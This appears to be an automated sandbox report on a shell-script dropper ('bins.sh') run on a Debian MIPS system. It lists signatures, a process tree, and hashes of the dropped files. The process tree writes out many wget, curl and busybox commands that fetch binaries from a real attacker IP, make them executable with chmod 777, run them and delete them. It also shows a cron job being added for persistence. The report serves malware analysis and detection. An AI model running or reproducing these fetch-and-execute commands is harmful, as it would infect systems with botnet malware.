Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    09-11-2024 22:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    8b878a3b80b54ce9b7acb2f0a2a44936

  • SHA1

    9a8e95ad6bcf6a4fff01f192943cd6833fc710d0

  • SHA256

    3ab7560003509ad898b5d5cef4c7877da517614f7ea03c3c4e16d2f495245c57

  • SHA512

    263d2cdf2321eda0c1e4cd179aad4f56d6aa30a63ab1144ef7e2383c48b4aa19841b263ba07e37aeff8a9d911b74707dd5786989fbd8eea336b170a26484d2cd

  • SSDEEP

    192:6lZHYgxwKcG++f++ozvRLn3n8wgzn3n8wWS++ozvjlZHYgDXD:6lZHYgxwKcG++uciPlZHYgDXD

Malware Config

Signatures

  • Contacts a large (1642) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 8 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:705
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:708
        • /usr/bin/wget
          wget http://216.126.231.240/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:731
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          ./0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
          • Executes dropped EXE
          PID:735
        • /bin/rm
          rm 0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g
          2⤵
            PID:737
          • /usr/bin/wget
            wget http://216.126.231.240/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:738
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:739
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Writes file to tmp directory
            PID:740
          • /bin/chmod
            chmod 777 N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • File and Directory Permissions Modification
            PID:741
          • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            ./N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
            • Executes dropped EXE
            PID:742
          • /bin/rm
            rm N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5
            2⤵
              PID:744
            • /usr/bin/wget
              wget http://216.126.231.240/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:746
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:758
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Writes file to tmp directory
              PID:771
            • /bin/chmod
              chmod 777 hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • File and Directory Permissions Modification
              PID:779
            • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              ./hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
              • Executes dropped EXE
              PID:780
            • /bin/rm
              rm hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46
              2⤵
                PID:783
              • /usr/bin/wget
                wget http://216.126.231.240/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Writes file to tmp directory
                PID:785
              • /usr/bin/curl
                curl -O http://216.126.231.240/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Writes file to tmp directory
                PID:797
              • /bin/busybox
                /bin/busybox wget http://216.126.231.240/bins/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Writes file to tmp directory
                PID:799
              • /bin/chmod
                chmod 777 jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • File and Directory Permissions Modification
                PID:800
              • /tmp/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                ./jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                • Executes dropped EXE
                PID:801
              • /bin/rm
                rm jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS
                2⤵
                  PID:803
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:804
                • /usr/bin/curl
                  curl -O http://216.126.231.240/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:811
                • /bin/busybox
                  /bin/busybox wget http://216.126.231.240/bins/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Writes file to tmp directory
                  PID:824
                • /bin/chmod
                  chmod 777 JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • File and Directory Permissions Modification
                  PID:831
                • /tmp/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  ./JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                  • Executes dropped EXE
                  PID:832
                • /bin/rm
                  rm JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30
                  2⤵
                    PID:836
                  • /usr/bin/wget
                    wget http://216.126.231.240/bins/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • Writes file to tmp directory
                    PID:837
                  • /usr/bin/curl
                    curl -O http://216.126.231.240/bins/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • Writes file to tmp directory
                    PID:842
                  • /bin/busybox
                    /bin/busybox wget http://216.126.231.240/bins/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • Writes file to tmp directory
                    PID:843
                  • /bin/chmod
                    chmod 777 NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • File and Directory Permissions Modification
                    PID:844
                  • /tmp/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    ./NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                    • Executes dropped EXE
                    PID:845
                  • /bin/rm
                    rm NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz
                    2⤵
                      PID:847
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • Writes file to tmp directory
                      PID:848
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • Writes file to tmp directory
                      PID:849
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • Writes file to tmp directory
                      PID:853
                    • /bin/chmod
                      chmod 777 Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • File and Directory Permissions Modification
                      PID:854
                    • /tmp/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      ./Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                      • Executes dropped EXE
                      PID:855
                    • /bin/rm
                      rm Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV
                      2⤵
                        PID:857
                      • /usr/bin/wget
                        wget http://216.126.231.240/bins/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • Writes file to tmp directory
                        PID:858
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • Writes file to tmp directory
                        PID:859
                      • /bin/busybox
                        /bin/busybox wget http://216.126.231.240/bins/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • Writes file to tmp directory
                        PID:860
                      • /bin/chmod
                        chmod 777 ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • File and Directory Permissions Modification
                        PID:861
                      • /tmp/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        ./ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                        2⤵
                        • Executes dropped EXE
                        • Renames itself
                        • Reads runtime system information
                        PID:862
                        • /bin/sh
                          sh -c "crontab -l"
                          3⤵
                            PID:864
                            • /usr/bin/crontab
                              crontab -l
                              4⤵
                                PID:865
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:866
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:867
                            • /bin/rm
                              rm ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS
                              2⤵
                                PID:869
                              • /usr/bin/wget
                                wget http://216.126.231.240/bins/fUNW8h5XMVGJc4fud0YvvpwSQPP84DTYjP
                                2⤵
                                  PID:872

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/0NUajqeMK5l4FFOFyA6NdXM5Hlnbs1eQ0g

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/ABYhbYuXlpocs78xqhgfm3KlB3JzUECLdS

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/Dryz688jvzZlLF8TW5CSod8loZSCn0T9hV

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/JTbeEJWDvonUJFkzEHoJ8TA33IdP1lVE30

                                Filesize

                                98KB

                                MD5

                                5141342d0df8699fa32a6b066a0c592e

                                SHA1

                                8157673225bd5182f16215e2aa823a25ca2d4fbc

                                SHA256

                                54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                SHA512

                                d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                              • /tmp/N0WpZ788ZA9qRr5eotYvSVGCHDJtPLX6A5

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/NCT8nRWAd8ytffN3eqJCwP1BxG2PLpM3zz

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/hk3SZR1EJxzATQRuQZHYDCDFJffZwgLx46

                                Filesize

                                127KB

                                MD5

                                89077b7bd4bcafca7713be43635c4862

                                SHA1

                                fc02edb8fba29ea8ee99e6157ef8560334530052

                                SHA256

                                78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                SHA512

                                1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                              • /tmp/jraNz4tgA19SRgjmSL7UArPP4cFa7fMLHS

                                Filesize

                                111KB

                                MD5

                                ca897a38f23ec23521ce0b1b83f8422d

                                SHA1

                                b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                SHA256

                                043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                SHA512

                                10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                              • /var/spool/cron/crontabs/tmp.bAZ6z2

                                Filesize

                                210B

                                MD5

                                4a30173118923439633d80390b9138cd

                                SHA1

                                c0d247b84faac2ddbadfa3e837690b9b96199911

                                SHA256

                                743c74929c392e3ccd16ff96db59a7cc45c38acf890f819bee0fb9bd7ca9335f

                                SHA512

                                a7a2c67e9904ce406661fa37e29c0737f9f0ddf70848132642ecb3ae8606affa79c94c7491d67fe95e0e92c2812b97ba7de74ba4f5a41cea68ea27223f098c3f